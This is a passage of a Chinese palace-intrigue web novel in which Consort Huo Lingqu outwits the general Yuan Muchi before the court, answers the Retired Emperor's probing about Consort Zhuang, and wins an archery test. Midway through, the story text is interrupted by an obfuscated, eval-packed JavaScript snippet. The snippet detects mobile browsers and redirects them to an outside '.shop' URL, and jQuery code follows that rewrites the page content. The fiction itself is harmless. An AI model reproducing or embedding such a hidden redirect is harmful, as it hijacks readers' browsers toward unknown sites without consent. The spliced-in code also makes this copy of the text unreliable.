“这问题,贵妃不是给过答案了么,陛下若不认可,该和贵妃交涉。”晏霁之反提醒,嬴忱璧只好转向霍贵妃,说:“贵妃,既如此,你就别瞒着了,直言吧。” 霍灵渠没搭腔,转向她的六哥哥,温和而有礼:“原小将军,你看,我刚才都把面纱绑起来了,我是想跟你交涉、寻求你谅解的,我怕你愤怒当头不愿意谈,所以我原本想先跑到圣人身后再跟你交涉。要不,你也给我出道题当做我给你赔个不是。 只是看在我敬重你的份儿上,希望你的题目不要太为难我。” 被霍贵妃略过的皇帝嬴忱璧拿杯酒喝酒,晏霁之闻言真想戳戳她,真亏她想的周到呢,难怪她说的是影响她跑路,原牧炽再被气笑了:“你敬重我?” 太上皇抢话:“是啊,贵妃啊,见好就收吧,既然原小将军都不想追究了,你就别再闹腾了,若不然,你母亲怕是都要被你气活过来了。” 霍灵渠很豪爽:“圣人放心吧,我再把我母亲气死就好了。” 观众们:“……” 太上皇被气得直瞪皇帝,嬴忱璧默默扭头,霍秦川憋笑,霍太后忍不住地按太阳穴,霍漓江都觉得有点对不住娃的母亲了,原牧炽也无语够了:“霍贵妃你还是给你爹留口气吧,要不然,你这德性保管也能把你爹气死了。” “原小将军多虑了,你不好这么看不起我爹的,你还是出题吧。”霍灵渠言归正传,原牧炽冷哼,顺口就道:“那你就说说,你们姓霍的最不正经的是谁?” “我三叔祖。”霍灵渠毫不犹豫,霍绥业骂臭丫头,原牧炽呵呵:“我看是你吧。”随即被霍灵渠反对:“怎么会是我呢,我这么正经。”她一副理应如此的口吻,如同事实就是如此或者说她就是这样认为,众人看霍贵妃真是毫不心虚啊。 原牧炽提示:“霍贵妃你这么不要脸会砸你霍家坦荡的名声。” 霍灵渠对呛:“才说过愿赌服输就随意污蔑我就是你原牧炽的豪气?” “我污蔑你?”这女的还真是不知道什么叫见好就收啊,原牧炽好笑:“要不你问问,在座有谁能赞同你是个正经人,当然了,你们姓霍的不算。” “原小将军,不必特殊对待我们姓霍的,我们霍家没那么偏颇,在这一点上,我们包括霍漓江这当爹的都赞同你的看法。”霍擎率先表态,霍太后被噎得瞪她爹,霍擎反瞪回去,再踹脚想拆台的霍雄鹰,又眼神劝住皇帝陛下不要反对。 好些人神情微妙地看老穆国公,嬴忱璧蹙眉,晏霁之琢磨下老太爷的用意。 原牧炽愣下大乐:“行啊,霍贵妃你看见没有,你看看在座谁还能赞同你是个正经人,你有本事让他站起来,谁要是赞同你正经,谁就站起来,你看有没有?” 霍雄鹰郁闷:“祖父什么意思嘛,二叔,你这当爹的难道都没点意见吗?” 心照不宣,霍漓江当然懂:“你看着就知道你祖父的用意了。” 看着的结果自然是:没人站起来,原牧炽得意地冲她挑衅,霍灵渠撇撇嘴:“肤浅。” 原牧炽错愕下,无语凝噎:“我们不赞同你正经就是肤浅?” “对,全都肤浅!”霍灵渠批判,就没把这所谓的众意当回事儿,晏霁之了然,老穆国公想试试孙女的心性,看在大家都反对的情况下她能否还能坚持住她自己? 他看向霍灵渠,很自在,没有强撑,她相信自己就不动摇、不在乎多少反对,晏霁之忽然明了这是一种必然,正是霍灵渠的坚韧才撑得起她饱经风霜后的乐观。 大多数人可真是被霍贵妃不要脸地够了,霍舒窈托腮哀怨,原牧炽更要炮轰时被打断,霍漓江懒得看他们打嘴仗:“原小将军你还是换个题吧,你们吵不出结果的,我闺女的直觉准不准不重要,只要她认定她没错,谁都别想让她信服她错了。 眼下的情况很明白,你们的比试她赢了,只是她用的招数出人意料属于奇招,她用个奇招赢场比试跟她正不正经能有什么关系?不管多少人认为她若正经就不会这么出招都没用,她看你们就是肤浅,你跟她吵几十年都休想吵出结果。” 原牧炽若似受惊地转头看向霍漓江,几十年? 皇帝,太上皇和一些敏锐的看官们也懂了霍擎的意图,魏王低眸有些沉寂,班丞相想,还是认知的不同,霍贵妃指自己正经时毫不心虚是因为她真觉得她正经呀。 更坚韧,周尚书有点唏嘘,虽千万人,吾往矣。 原牧炽再转向霍贵妃,霍灵渠也觉得:“你还是换道题吧。” “咳咳!”原牧炽调整下,倨傲斜睨她:“你刚才说,你敬重我?” “对呀。”霍灵渠有理有据:“你看我三叔祖在呢,他回头肯定要数落我,没出息,若是他或者我爹我大伯乃至好些姓霍的,都不带正眼看一眼的,直接拿银两砸。 你看我都没有拿银两砸你,我若不是敬重你,我就直接问了,多少钱了事?你难不成还觉得当众耍流氓对我们姓霍的还能算是个事吗?” 看官们:“……”居然还不能说她的歪理有问题。 霍绥业对他哥吐槽:这德行,的确是脸包起来了也是一看就知是霍家的种。 原牧炽握握拳头,故意憋坏:“那你就骂骂你爹吧。” “你还是再换道题吧。”霍灵渠劝,原牧炽傲娇:“没得换,就这题。” “我的意思是我都不好意思占你这样的便宜,我会说话起就会骂我爹了,这题目对我太简单了。”霍灵渠解释,原牧炽差点没被她吓了吓:“什么,你还骂过你爹?” “对啊,我一两岁学说话时,祖父教我一句,我学一句。”霍灵渠公布,不是知情的几乎都错愕,原牧炽惊奇地瞥眼淡定的霍家人再问:“那穆国公呢?” “没有例外的,霍家只要是我祖父能骂的,就是我都骂过的。”霍灵渠表明。 “霍太后呢?”原牧炽机智地想起来:“这个你肯定没骂过吧。” “没有例外。”霍灵渠重申,原牧炽往上座看去,大家伙不约而同看去,霍太后憋着气冷着脸硬是没驳斥,众人面面相觑,原牧炽咬牙:“霍太后知道你骂过她吗?” “知道啊,我当面都骂过,祖父想对女儿炫耀就会让我展示给姑母看。” “……” 太上皇都觉得有点被刷新认知了,其他人又何尝不是呢,霍太后什么脾性啊,她居然能忍受侄女骂她还能非但不重重打压还反而把这个侄女视如亲女? 晏霁之神奇了,太后是有多疼爱霍灵渠?嬴忱璧也是不可思议,湘王绝对没这胆量,太后也绝不会容许湘王这样放肆。湘王妃有丝担忧地看湘王,就怕母子间生嫌隙。湘王自己,感觉怪怪的,母后是把对他那早夭姐姐的疼爱全给这表姐了吧。 萧灼灼默默有点受打击,她够得家中疼爱了,比起霍贵妃居然还是小巫见大巫。 原牧炽难以置信又机智地想到了:“霍舒窈!” “你相信她好了,霍家掌珠,你以为说着玩的?”霍舒窈懒洋洋站起来:“她童年在霍家时的待遇,霍海啸和霍巨浪的嫡女们加起来都比不上,霍海啸都比不过她。” 原牧炽摸摸下巴:“这么说,霍海啸跟她关系很差?” 霍舒窈在心里翻白眼:“你哪只眼睛看出来霍家有那么多想当然的,若不然,童年时我还能被她压着吗?你没看见有人把侄女当心尖尖,父子俩一个德行很奇怪吗?” 众人看向穆国公,霍秦川默默骂臭闺女,原牧炽郁闷:“你还有证据吗?” “你有什么不能相信,凭什么霍海啸要最疼爱闺女,凭什么侄女的待遇就要比我好?”霍舒窈也不怕被嫂嫂们看见她就是小心眼:“要不然我多亏啊。” 原牧炽瞬间不想理她了,再问霍贵妃:“那你说,霍家的弱点是什么?” 不知有意无意,有些人特意竖起耳朵听,霍灵渠大方告知:“我呀。” 这些人顿时没兴趣了乃至觉得自己傻,原牧炽无语:“我问的是霍家的弱点?” “我呀,不是我还能是你呀?”霍灵渠叹气,讲真话都不信,但多数霍姓包括霍舒窈都信啊,霍舒窈在心里怼堂妹:脸皮都比城墙厚了,嘚瑟什么呀。 晏霁之也想相信了,不论霍家的认知如何,但这就是霍灵渠认知的霍家的弱点。 嬴忱璧犹疑,但他看贵妃似乎真就是这么认为,但愿霍家不会辜负贵妃。 但,原牧炽不信啊,文绉绉扯半天都扯不出个屁来,他也烦了:“还是动手吧,你让霍家能打的全上,我把他们全部打趴下,这事就算了了吧。” 霍灵渠反劝:“你还是再换个题吧,我霍家有的是能打的,你不可能把他们全打趴下,我想你也不会愿意让他们故意输给你,按这道题这事了不了。” 原牧炽怔下猛地拍桌,只觉大受侮辱:“来啊!老子怕你啊?!” 霍灵渠看他这激动的忽然鬼使神差地瞟向了湘王,湘王差点跳起来:“表姐你看什么,不就是前几天我让你给我道个歉吗,你用得着这么小心眼记恨吗?” 好多人怀疑,霍贵妃这是想羞辱原牧炽吧? 原牧炽嫌磨叽:“霍贵妃你还是爽快点让霍海啸上吧,别磨蹭了。” 太上皇看着原牧炽若有所思,贵妃就是凭直觉看向了湘王吧,贵妃是觉得原牧炽这被激愤的模样和湘王受刺激时像吧。别说,还真是,霍灵渠看他这激动的活像是去年她大伯寿宴上湘王叫嚣时那德行,兄弟间还真是谁和谁都能找出点相似来。 庄太妃觑着圣人的神色,端详遍这位原小将军,想到个可能,她眼底一点点沁笑。 “我来!”霍雄鹰也嫌磨叽,原牧炽瞟他眼:“行,来吧。” “等等,雄鹰你等会儿。”霍灵渠拦道:“我想还是换道题,我自己来解决,雄鹰你先让姐姐跟他商量。”她看向六哥哥,还没商量就被否决:“没得商量,就这道题。” 霍灵渠嫌矫情:“再换道题又怎样,你都换好几道题了。” 原牧炽反呛:“你管我换过几道题,反正我现在就定这道题,我说这道题就这道题,没得商量,要不然我还是按我原来的决定把你拍成肉饼?” 霍灵渠激他:“你是不是个男人,商量一下都不行?” 原牧炽生猛炮轰:“你才不是个女人,老子看你就是欠打!” 霍灵渠无奈:“你措辞好歹正常点,这么骂人会被人看笑话的。” 原牧炽丝毫没受阻碍地进击:“老子骂你不是个女人又怎样,我骂你不是个女人就不是个女人,本少爷看谁敢笑话,骂人还讲究,我看你就是脑子坏掉了欠打。” 可观众们心累啊,正徽帝嬴忱璧很想捏捏眉心,太上皇拍桌打断:“好了!” 护国公夫人和两位副将连连把人拉住,嬴忱璧紧随道:“晏卿似乎有想法?” 晏霁之瞟瞟皇帝,撇嘴道:“果然还停留在五六岁连七岁都没到,两只憨憨。” “你骂谁憨憨?”原牧炽当即调转枪头,晏霁之高冷昂首,不屑搭理他。 嬴忱璧想,晏霁之看得还是准的,七岁都还没到。 “原小将军,还是换道题吧。”皇帝刚劝,原牧炽就呛回去:“不可能,没得换。” “还是换道题吧,不然,霍贵妃赢你的那招恐怕就要被认定为是老六教她的了。”魏王赖洋洋下场,原牧炽撸起袖管冷笑:“老子看谁敢污蔑我表弟。” “你又不是你表弟,你怎知人家污蔑?”魏王语气凉飕飕,原牧炽嗤之以鼻:“笑话,我还能连这点事都不清楚吗,那可是我嫡亲嫡亲的表弟。” “但你貌似应该还没有和老六见过面吧?”魏王戳破个事实,一些看官险些没忍住笑,原牧炽真想揍他:“那又怎样,我们是一家人,我还能猜不出来吗?” “明显你猜不出来,不然我们还能质疑你吗?你可以问,随便问,看看咱老六童年时对霍灵渠是个什么德行。”魏王放话:“这两人若是没有走丢,老六保管要闹着父皇取消赐婚改成让霍灵渠嫁他,这种污蔑,他保管也能帮霍灵渠担着。” 原牧炽不屑:“我看是你想仗着我表弟不在就想给他泼脏水吧?” “你不有个未婚妻吗,你若是能帮你未婚妻担着这种污蔑,老六就能帮霍灵渠担着。”魏王继续大放厥词,原牧炽冷下脸:“把这话收回去!” 魏王不嫌事大:“霍贵妃还能比不上你那个未婚妻?” 原牧炽斜睨眼那位霍贵妃,翻个白眼,态度明明白白的,魏王没再多言,晏霁之表态:“我的流光在我心里肯定是好的,至于霍贵妃,跟我和我家流光没关系。” 皇帝嬴忱璧和霍海啸都想瞪他了,你不多嘴不行啊。 “圣人,霁之刚曾提过三个观点,儿臣想纠正第一点。”嬴忱璧还没圆场,霍灵渠就道:“若您听来还能认同,可否允准不拘儿臣用什么手段来请原小将军换道题。” 太上皇摆摆手让霍贵妃随意,都懒得跟霍贵妃多话了。 纠正?晏霁之怔下恍然,是轻敌不对。 果然,霍灵渠道:“英王世子言,前些天在刑部大牢,陛下会被我关在铁牢里与今夜原小将军输掉比试都是同个原因,轻敌。我以为英王世子看得不准。 轻敌至少有将对方当做对手,但我与他们二位对峙时他们有将我当做对手吗?没有吧,他们是压根儿没把我的抗衡看在眼里才被我反制,圣人以为然否?” 嬴忱璧默然,原牧炽在心里冷哼,没把你的抗衡看在眼里不才是正常嘛。 太上皇语调都透着对此事的疲乏:“贵妃就看着办吧,早些把事情了了。” 霍灵渠颔首谢恩,再威胁:“请原小将军换道题,否则本宫只能动粗了。” 原牧炽当然是照样不把她看在眼里:“天都黑了,还请霍贵妃别做白日梦了。” 霍灵渠抬手从发髻间取下支珍珠簪,赏玩似的看过,举着这支珍珠簪问:“原小将军,你看本宫这支簪子还能在人身上扎出个血窟窿来吧?” 乐邑长公主只觉得这童年小伙伴又要犯病了,这么想的人当然很多,都想劝霍贵妃,你真不用妄想原牧炽还能让着你的!霍太后忍住,霍舒窈也忍住,晏霁之浮现个惊奇的念头,不会是他想的那样吧?他看向皇帝,嬴忱璧在随时准备着让霍海啸出战。 原牧炽都不带正眼看一眼的:“你有本事来呀,我要是能被你用这簪子扎出个血窟窿,我就给你换道题,随你想换成什么题都行,我说话算话,绝无虚言。” “擒贼先擒王,原小将军是战场上厮杀之人,这道理你应该比我懂呀,你老大都已经在我手里了,我还对付你作甚?”霍灵渠慢条斯理的说完,晏霁之已然憋乐得不行,擒贼先擒王五个字一出,他就乐起来了,还真是他想的那样! 霍秦川哥俩也是憋笑憋得有点辛苦,霍擎老太爷端着,只是被倒霉的老弟弟拍几下肩膀硬是差点破功了,霍海啸怪异地瞧瞧长辈,意识到情况也是险些笑出来,但,大多数人包括嬴忱璧自己都没听懂,原牧炽放肆嘲笑:“我老大?我都不知道我老大——” 原牧炽被硬生生卡住,就看见霍贵妃拿着簪子指指皇帝,众人:“……” 好一个不拘什么手段! 众看官们忍住,霍太后舒心地端起酒盏饮酒,太上皇见此情形,疲乏都被扫空了,不只是看个乐的人们谁会不再正视,一招制敌还都是全然出人意料的招数,谁再小瞧霍贵妃就是个傻的,没看见,原牧炽身手好又如何,霍贵妃就是稳稳压制着他呀。 晏霁之忽然想明白,霍灵渠对原牧炽没有男女情愫而只是小孩过家家的喜欢,不只是因她还不懂男女情爱,更是因为原牧炽撑不住她,反而她能掌握住原牧炽。 对班丞相,眼下最棘手的大概是他发现以霍贵妃的本事可能她仅凭自己就能登上凤座,还是大臣们在她的智慧面前忽略掉她的过往,哎呀,头疼,头大疼了。 皇帝嬴忱璧迎着他们的视线不可思议地看向霍贵妃,霍灵渠斜靠着椅背反打量眼皇帝,一派瞧他想反抗不像个男人的嫌弃架势:“你…还想跟我动动手?” 魏王险些绷不住要笑喷了。 乐邑长公主垂眸微涩,霍灵渠是真金贵呀,打小养出来的金贵,纵使过往不清白,她照样觉得已是皇帝的前未婚夫该捧着她宠着她顺着她,不是仰赖霍家和太后才有的耀武扬威,是她的金贵已深入骨髓,已非清白身对她根本没影响。 霍擎拄着拐杖站起来走流程:“贵妃,您这还成何体统,还不快向陛下请罪。” “我请示过了,圣人允了的。”霍灵渠抬出太上皇。 “那也没得这么胡闹的。”霍擎板脸。 霍灵渠自然找太上皇做主:“圣人,您刚刚允了,您可不能出尔反尔呀。” 太上皇未置可否:“将来,霍家是海啸当家还是灵渠你做主还真是未可知了。” 霍灵渠不同意:“圣人言之差异,我和我大哥自是一条心。” 嬴忱璧想喝杯酒压压惊还是忍住了,太上皇言道:“昨夜,寡人还说,灵渠若是男儿身,是个做枭雄的料,是寡人看差了,不必前缀,灵渠就是个做枭雄的料。” 霍灵渠闻言自当借势:“看来儿臣今夜做得还不错,让圣人您认可了。” “那么,灵渠你看来,寡人当年为何是册立你姑母为继后?”太上皇问。 你还想让我说我姑母心思不深么,霍灵渠转变道:“庄太妃轻敌。” 这个问题,正面回答其实怎么答都会落下话柄,毕竟当年圣人在霍庄二人之间犹豫过几年是人尽皆知的事,霍灵渠若夸赞她姑母相当于贬低庄太妃也就无异于影射圣人眼光不好。这看似简单的一问其实陷阱很大,庄太妃扬眉,确实没想到她能避过。 太上皇挑错:“庄妃可从未压倒过霍家,她可能还会轻敌吗?” 臣子们看没什么避讳,那他们就淡定看着吧;庄太妃是不在意,就看霍贵妃侃侃。 “圣人误会了,我指庄太妃轻敌不是对霍家,不管是深宫中还是臣民的内宅中,女人跟女人争永远都是落在了下乘,庄太妃是高手,她争的当然是圣人的偏向。” 霍灵渠顺理成章道:“圣人的偏向自然是落在圣人身上,授康十年,圣人您大封后宫时庄氏得封淑妃,从一品的淑德贤三妃,淑妃居首位,她能获封淑妃,自然是她争赢了,都赢过一回了,争继后位却是败了,还能不是她轻敌吗?” 太上皇还挺温和的:“那么庄妃又何至于会轻敌呢?” 众目睽睽,庄太妃也好整以暇地看着,聪明人都懂得这一问的坑可大了,甚至是怎么答都答不好,毕竟有圣人曾在霍庄二人之间犹豫过几年,你就不能指摘庄太妃不好。 嬴忱璧想帮霍贵妃避过时,霍灵渠给答案了:“温献皇后已逝。” 霍擎微怔,晏霁之听来莫名有种古怪,嬴忱璧:“……”他就不该想多事是吧。 但对许多观众包括庄太妃在内,懂得拿温献皇后来挡,霍贵妃确实是聪明人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459319|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “温献皇后在授康十四年薨逝,当时任皇后都还尚在。”太上皇再挑个错:“寡人在授康二十一年初册立继后,时隔六年多还能有影响吗?” “圣人,儿臣给您打个比方,譬如在一个池塘内,小鱼被大鱼吃,大鱼被老鹰吃,由此维系着池塘内的平衡,但当有一天,老鹰不在了,大鱼在没有威胁之后急剧膨胀,没多久就将小鱼全部吃尽,而大鱼也因赖以生存的食物没有了之后无法存活。” 霍灵渠隐喻道:“致使大鱼灭亡的根本难道是小鱼被吃尽后大鱼没食物了吗?不是的,是老鹰不在了,大鱼没了威胁,池塘内没有平衡了。” 景福殿内安静下来,至少霍贵妃的比喻很对,平衡二字更是圭臬,大到朝堂小到内宅,不知多少人都在奉行平衡二字。霍擎感喟笑,霍太后自豪而笑,晏霁之也想笑,这因由难猜吗?不难的,没看透而已,他竟是才懂,庄太妃的自大其实贯穿始终。 庄太妃则是对此影射嗤之以鼻都不想让霍灵渠再说下去了,要阻拦不想反被太上皇阻止:“小孩家有看法就让她畅所欲言吧,小孩家,做不得数,庄妃不必放在心上。” 庄太妃拢在袖中的手下意识握成拳:“是,圣人。” “所以,灵渠觉得?”太上皇要个准话,霍灵渠毫不含糊:“温献皇后薨逝就是庄太妃溃败之始。”引得晋王要跳起来被晋王妃死死拽住,庄太妃看着霍灵渠反倒又冷静地笑了,太上皇喊霍擎:“国丈觉得你孙女的看法如何?” 霍擎在众人注视下站起来:“圣人,按贵妃的思路,老臣以为是任皇后薨逝。” 太上皇看向霍贵妃,许多人了然,圣人想看他们祖孙打打擂台,晏霁之忖度,太上皇是想探个底吧,毕竟圣人自己的感觉肯定也是因任皇后薨逝之故。 “圣人,不冲突的。”霍灵渠解释道:“大家不是都称庄太妃是圣人后宫争宠第一人么,她不会把任皇后当做威胁的,就像她不会把我姑母当做威胁一样,她看不上,当然只有温献皇后才会被她视作威胁,故,温献皇后薨逝是庄太妃溃败之始。 可温献皇后薨逝与任皇后薨逝相距才两年,太近了,您因温献皇后薨逝悲痛好久,您刚走出挚爱去世的悲痛,原配媳妇又快不行了,那很显然,在任皇后生前,庄太妃根本没机会让您不满,我祖父关注的肯定是圣人您的态度,那自然猜是因任皇后薨逝之故。” “不、满?”太上皇咂摸着,似乎他自己都觉得这俩字很新奇。 “对!”霍灵渠坚定有力道:“任皇后薨逝是圣人您对庄太妃不满之始。” 众人面面相觑,庄太妃很平静,就看霍贵妃能说出来些什么,鞠太妃都恢复过来了。 太上皇似乎还挺好说话:“灵渠啊,这若是你胡乱猜的,还是把话收回去吧。” “儿臣没有瞎猜,十多年前,庄淑妃与霍德妃争夺圣人您的继后位不是人尽皆知吗?”霍灵渠笑:“我姑母自进宫起就没掩饰过她想做皇后,庄淑妃没有掩饰过吗? 任皇后生前,庄氏在圣人面前一直都是不争不抢只要能陪伴着圣人她就心满意足了吧,怎么任皇后一死她就跳出来什么都想要,这不是摆明了之前二十来年她只是在伪装,您堂堂至尊被瞒骗二十年若是还没有火,您这个天下至尊就白做了。” 满殿寂静,庄太妃哪怕自觉能向圣人消除霍灵渠泼来的脏水都忍不住心绪翻涌,晋王都没有想再冒头反驳,太上皇沉默过后问:“灵渠还有见解吗?” “儿臣觉得庄氏当年的淑妃位都是她靠温献皇后赚来的,倘若没有温献皇后,庄太妃在授康十年之前就走上过巅峰,她拿不到淑妃位,而她越挣扎就只会让她越早出局。” 霍灵渠摇头:“庄太妃太自大,若非她始终都压不过温献皇后,她不得不谨小慎微地过十几年,彻底变成在圣人面前的有用之人,她在深宫中也只会是昙花一现。” 至此,轻敌的喻指再清晰不过,庄氏若没有熬过将近二十年而是在年轻时就得过盛宠,她在最得宠之后照样会不再把圣人的心意看在眼中,她会想当然自觉她已是最得宠的嫔妃了难道还会失宠吗?说难听点,这不是轻敌,她就是连君王都没当回事儿。 霍擎喝杯酒,嬴忱璧想庄太妃比杭修媛强点,太上皇问:“那么,灵渠可否想过,寡人和你姑母百年之后,皇帝可能容得下一个能做枭雄的贵妃、乃至是皇后吗?” 竟是没有驳斥?! 没有驳斥就相当于默认了,莫非圣人真在任皇后薨逝后就对庄太妃不满了? 那么当年的霍庄之争?不提多少人有醍醐灌顶之感,庄太妃自己是真的难以置信到简直不可思议,忽然对上霍宝鸾的轻蔑,她唰得下就有种透心凉之感。 一个感觉油然而生,一个令她几乎要崩塌的感觉,当年争夺继后位,圣人根本没有属意过她只是拿她当障眼法而已,而霍宝鸾也清楚?! 但她没再想或者说不愿意想此事对她的灾难,在此前,大家看她是圣人后宫最厉害的,太上皇对她情份深厚;可今夜,太上皇竟然默认了十多年前就对她不满了,那么大家对她的感观还能等同吗?最简单的,她埋的眼线可能都要生二心。 恰,鞠太妃这会儿看她,那眼神就像是你发现了一个你认了比自己强的人原来也不过如此,原本信奉她很厉害的心态瞬间瓦解成与看待其他看不上的人无异。 建威侯府郭家不在,皇后不出席,郭家追随皇后的脚步也没出席。 晋王的心很烧,崇孝长公主痛快呀,魏王发现他也没有他想的幸灾乐祸。 霍灵渠颔首恭禀:“圣人,我祖父说,论性情,在授康二十年以前,六哥哥最像圣人;在授康二十年之后,陛下最像圣人。” 在看戏的原牧炽猛打个激灵,霍贵妃在胡说什么,他那个表弟也就是他自己怎么可能会像这老皇帝?!看他表弟不在好欺负是吧! 好多人没听懂,太上皇也是怔了下才懂,感慨道:“灵渠啊,关雎宫,你确实住得起,但能不能住得稳、住长久,就得看你的造化了。” 霍灵渠谢恩,有些人就听懂了,霍贵妃的意思,圣人您不至今还留着晏家么。 “贵妃看着办吧,无妨。”太上皇示下,庄太妃攥拳,所以,关雎宫,她是住不起的,是吗?坤宁宫椒房殿,她住不起;关雎宫,她也住不起,是吗? 霍灵渠再谢恩,而后转向大人们,装得趾高气扬的:“相爷,你不该率众和原小将军谈判了吗?我知道大人们很擅长把人烦死,你们一定有本事劝服原小将军给本宫换道题,还是大人们想先看我在嬴忱璧身上扎两个血窟窿呀?” 皇帝嬴忱璧再做个深呼吸,班丞相等一干品行不错的老大人们哭笑不得。 “行了!”原牧炽大手一挥,咬牙把憋屈忍住:“小臣我告诉霍贵妃你,男子汉大丈夫,能屈能伸,换道题就换道题,你就先说骑射这些你会不会?” “我会骑射,你考我骑射吧。”霍灵渠附议,原牧炽随意摆摆手:“行吧行吧,你若是射十支箭能有一支箭射中箭靶,这事就算了,要不然你就骑马在殿外跑十圈。” “我弓箭还行,这个对我还是没有难度的。”霍灵渠提醒。 原牧炽嫌啰嗦:“我管你弓箭行不行,我就出这题了,就说你敢不敢吧?” 霍灵渠应:“行!” 原牧炽遂再请示皇帝和太上皇,太上皇利落地派人去准备弓箭和马匹。 皇帝嬴忱璧传令乐师奏奏曲让大家放松些,趁着闲下来的空档,晏霁之探探:“阿炽,能不能说说你那位未婚妻,很好奇,你会喜欢什么样的姑娘?” “你想干什么?”原牧炽眼含防备,晏霁之笑道:“是这样的,霍贵妃曾发表过这样个观点,她若是能嫁给她的六哥哥,若是她被人陷害红杏出墙,她的六哥哥会给她报仇还定然不会抛弃被陷害的媳妇,你觉得她的预估准吗?” “我表弟对媳妇当然肯定能做到,我对我媳妇当然也是如此,谁他娘的敢陷害我媳妇,老子把他剁成肉碎喂狗,至于霍贵妃?”原牧炽满满的嫌弃:“我表弟童年眼瞎,长大了还能眼瞎吗?我表弟要是能看上个矫揉造作的女人,我把我头——” “原小将军——” “阿炽!” 嬴忱璧和晏霁之同时喊他,霍灵渠默默按按她的小心脏,太上皇被牵引着打量遍他俩,原牧炽奇怪:“我放句话怎么了,你们拦我做什么?” “你毕竟不是你表弟是吧。”霍海啸答曰,原牧炽被噎得捏捏拳头,冷嘲道:“瞧霍海啸你这话说的,这都已经是皇帝的霍贵妃了,我表弟就算回来了,还能眼瞎到为童年那点过往再去跟皇帝老兄抢个十几年没见过的女人吗?天塌下来你们霍家都不用妄想。” “好了,原小将军还是回答问题吧。”嬴忱璧说,霍灵渠神情微妙地瞟瞟他,原牧炽也神情有点微妙,皇帝是闲得慌还是很爱八卦啊还特意点明让他回答问题? 原牧炽往殿内扫视圈,轻蔑道:“这大殿里的女人加起来还不够我媳妇打的。” “……” 晏霁之瞬间不想跟他搭话了,嬴忱璧也不想,霍雄鹰都瞧不上他这品位,魏王饮杯酒,想不通他是怎么形成的错觉?太上皇再斟酌下看向霍擎,霍擎点头,原牧炽今夜这么闹腾,这女婿会起疑很正常,既然起疑了,认出儿子就是眨眼间的事。 宫人们将弓箭和马匹以及箭靶取来摆放好,霍灵渠走到殿中,拉弓射箭,十支箭全部射中靶心,以为霍贵妃手无缚鸡之力的看客们惊讶了,合着霍贵妃还练过? 原牧炽歪头看看,也被意外到了:“你弓箭还真是还行啊。” “对啊,六哥哥教我的。”霍灵渠甜甜笑,原牧炽立时被噎得一匹,她说的这个六哥哥就是他那个表弟也就是他自己吧,郁闷道:“行了行了,这事就了了吧。” “好!”霍灵渠把弓箭给宫人,给太上皇和太后行个礼告退,利索走掉。 嬴忱璧的贵妃两字生生被卡在喉咙里,只能把叮嘱咽下,转向太上皇,诚恳道:“父皇,贵妃受惊了,让蒙太妃和班太妃陪着贵妃走趟长春宫吧。” 太上皇应允,继霍灵渠离开后,两位太妃随后离去,皇帝再吩咐传歌舞。 原牧炽瞧着皇帝真是能睁眼说瞎话了,霍贵妃这德行还能受惊?! 128. 第128章 载歌载舞间,宫人给原牧炽送来两盘糕点:“圣人赏赐原小将军的。” 原牧炽斜他眼,转向上座,谢过太上皇,拿块糕点扔嘴里,咬口差点想吐出来,小麦色的俊脸扭曲得长眼睛都看得出他嫌难吃,太上皇笑问:“原小将军觉得不合口味?” “太酸了。”原牧炽灌口酒说:“我不喜欢吃酸的,从来不喜欢。” “旌儿也不喜欢吃酸的,一点酸味都沾不得,旌儿喜欢甜食,可纵使旌儿喜欢甜食,也还是连酸酸甜甜的糖葫芦和糖醋鱼都不要碰,你这口味倒是和你表弟很像。” “表兄弟嘛,有相像之处很正常。”原牧炽应答。 庄太妃睨鞠太妃一眼,鞠太妃在心里冷哼声,倒也不在意出这个头:“圣人,说来,原小将军的相貌确实像六皇子。当年六皇子走丢时有十三四岁了,能预测出成年后的相貌了,若不是知道这是护国公的三公子,臣妾还以为是六皇子回来了呢。” 大殿内的氛围有些微妙,晋王和薛述聪等人看向他,还真是越看越可疑。 武襄侯隐隐握紧酒杯,晏霁之真想嫌他,活该被老爹认出来。 护国公世子夫人章醇郡主微怔,这可能吗?护国公夫人要澄清被原牧炽拦着,费什么话,原牧炽动动手腕随时准备出击,原牧蔷小姑娘看着三哥的动作,心里美滋滋,有哥哥在,她就觉得很踏实,谁来挑衅都不怕,父兄们在不在真的不同。 嬴忱璧想揭过时被霍擎眼神拦住了,太上皇认可道:“细看,确实像旌儿,性情更像。此前见原小将军时你沉稳端持,寡人没什么感觉,但你这么一闹啊,真像旌儿。” 然,太上皇的神态和言语间洋溢着欢喜,丝毫不见有怒意。 在众人普遍的认知里,太上皇若怀疑原牧炽就是他走丢的六皇子不该拿来大做文章吗,甚至若是能确凿,原家欺君罔上十多年将会是什么下场;何况原家是圣人的眼中钉肉中刺,太上皇连针对霍家的阴谋都想送给原家呀,怎么可能放过此事? 嬴忱璧垂眸想,老穆国公是猜到圣人不会问责才示意他不必出面吗? “圣人——”原牧炽要打消这老皇帝的疑心被阻止,太上皇朗声传令:“丞相,拟旨,原牧炽少年英雄抗击敌寇功勋卓著,敕封冠军侯,赐五百户食邑。” 满殿一惊,封侯啊!鞠太妃被气得够呛,庄太妃脸色没异样,心里也是被气得直发笑,这么好个能把原家拔起的机会,他竟然非但不用还要给原家送个侯爵?! 晋王刚刚心很烧,烧滚的心绪平复些后他就有些颓丧,虽然他不像他的哥哥姐姐是父皇最宠爱的儿女,但一母同胞又能差多少,他生母在父皇心里份量重,他当然能傲视兄弟们,可结果呢?结果十多年前,他父皇就对他母妃不满了吗? 他自觉父皇在他哥死后也曾对他寄予过厚望更是笑话吗?晋王低头,独尝苦涩。 武襄侯唏嘘,乐邑长公主扯扯丈夫,薛述聪问他爹,这原牧炽是老六吗?显国公答是,虽然他不确定但直觉就相信是,护国公若非清楚外甥安好又岂能不找? 